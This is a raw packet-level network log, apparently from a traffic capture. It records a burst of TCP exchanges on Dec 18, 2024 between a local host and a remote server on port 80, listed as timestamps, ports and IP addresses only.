Dec 18, 2024 19:08:22.175932884 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.175987005 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.176173925 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.176215887 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.178353071 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.178406000 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.178565025 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.178606033 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.180286884 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.180336952 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.180464983 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.180521011 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.182504892 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.182548046 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.182580948 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.182621002 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.184643984 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.184684038 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.184716940 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.184757948 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.186800957 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.186844110 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.187015057 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.187056065 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.189047098 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.189124107 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.189727068 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.189764977 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.191318035 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.191375017 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.191468000 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.191507101 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.193325043 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.193363905 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.193687916 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.193730116 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.195832968 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.195888042 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.195930004 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.195971012 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.197657108 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.197699070 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.197736979 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.197779894 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.199940920 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.199985981 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.200165987 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.200206995 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.202020884 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.202064991 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.202105045 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.202147007 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.204209089 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.204257011 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.204289913 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.204323053 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.206192017 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.206238985 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.206327915 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.206378937 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.208185911 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.208278894 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.208329916 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.208369017 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.209939003 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.209981918 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.210225105 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.210257053 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.211862087 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.211911917 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.211950064 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.211988926 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.213766098 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.213814974 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.213880062 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.213920116 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.215683937 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.215724945 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.215814114 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.215852976 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.217719078 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.217761993 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.218400002 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.218447924 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.219542980 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.219589949 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.219614029 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.219664097 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.221455097 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.221497059 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.221797943 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.221836090 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.223376989 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.223438025 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.223475933 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.223512888 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.225406885 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.225450993 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.225630999 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.225667953 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.227210999 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.227252007 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.227408886 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.227447033 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.229118109 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.229160070 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.229496002 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.229535103 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.231043100 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.231084108 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.231259108 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.231296062 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.232928991 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.232966900 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.233067036 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.233099937 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.234847069 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.234885931 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.234989882 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.235023022 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.236779928 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.236819983 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.236854076 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.236888885 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.238661051 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.238698006 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.238907099 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.238941908 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.240688086 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.240735054 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.240765095 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.240804911 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.242475033 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.242516994 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.242567062 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.242603064 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.244422913 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.244466066 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.244501114 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.244545937 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.246475935 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.246520042 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.246695042 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.246733904 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.248316050 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.248353004 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.248456001 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.248496056 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.250195026 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.250255108 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.250319958 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.250368118 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.252101898 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.252151012 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.252222061 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.252264023 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.254102945 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.254148006 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.254343033 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.254381895 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.264653921 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.264702082 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.344189882 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.344257116 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.344377995 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.344434023 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.344978094 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.345025063 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.345170021 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.345215082 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.346662045 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.346697092 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.346759081 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.346808910 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.348145962 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.348196983 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.348231077 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.348330021 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.349699020 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.349749088 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.349751949 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.349790096 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.351207018 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.351253986 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.351349115 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.351397038 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.352752924 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.352823973 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.352830887 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.352876902 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.354288101 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.354336977 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.354368925 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.354415894 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.355717897 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.355766058 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.355803967 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.355849028 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.357338905 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.357388020 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.357722998 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.358299971 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.358726025 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.358772993 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.358850956 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.358899117 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.360297918 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.360346079 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.360500097 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.360543966 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.361810923 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.361855030 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.361974955 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.362020016 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.363250017 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.363296986 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.364037991 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.364084005 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.364691973 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.364737988 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.364785910 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.364830971 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.366173983 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.366221905 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.366415024 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.366465092 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.367767096 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.367815018 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.367851019 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.367896080 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.369167089 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.369206905 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.369290113 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.369335890 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.370692968 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.370740891 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.370779037 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.370820999 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.372164011 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.372349977 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.372384071 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.372426987 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.373686075 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.373732090 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.373830080 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.373878956 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.375190973 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.375236034 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.375603914 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.375751019 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.376782894 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.376828909 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.377017975 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.377063036 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.378191948 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.378232002 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.378263950 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.378299952 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.379669905 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.379717112 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.379961014 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.380007029 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.381167889 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.381211042 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.382673025 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.382688046 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.382735014 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.382874012 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.382920980 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.384156942 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.384203911 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.384407043 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.384452105 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.385648012 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.385689020 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.385896921 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.385943890 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.387173891 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.387221098 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.387609005 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.387653112 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.388708115 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.388722897 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.388753891 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.388782978 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.390137911 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.390183926 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.390407085 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.390455008 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.391630888 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.391678095 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.391773939 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.391819000 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.393349886 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.393393993 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.393441916 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.393488884 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.394644022 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.394692898 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.394730091 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.394772053 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.396157026 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.396200895 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.396425009 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.396470070 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.397732973 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.397882938 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.397910118 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.397922039 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.399148941 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.399199963 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.399231911 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.399270058 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.400434017 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.400490046 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.400559902 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.400603056 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.401761055 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.401808023 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.401875973 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.401920080 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.403121948 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.403192997 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.403229952 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.403271914 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.404386997 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.404431105 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.404510021 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.404553890 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.405740023 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.405787945 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.405994892 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.406044960 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.407105923 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.407151937 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.407260895 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.407306910 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.408369064 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.408417940 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.408737898 CET	80	49723	31.41.244.11	192.168.2.5
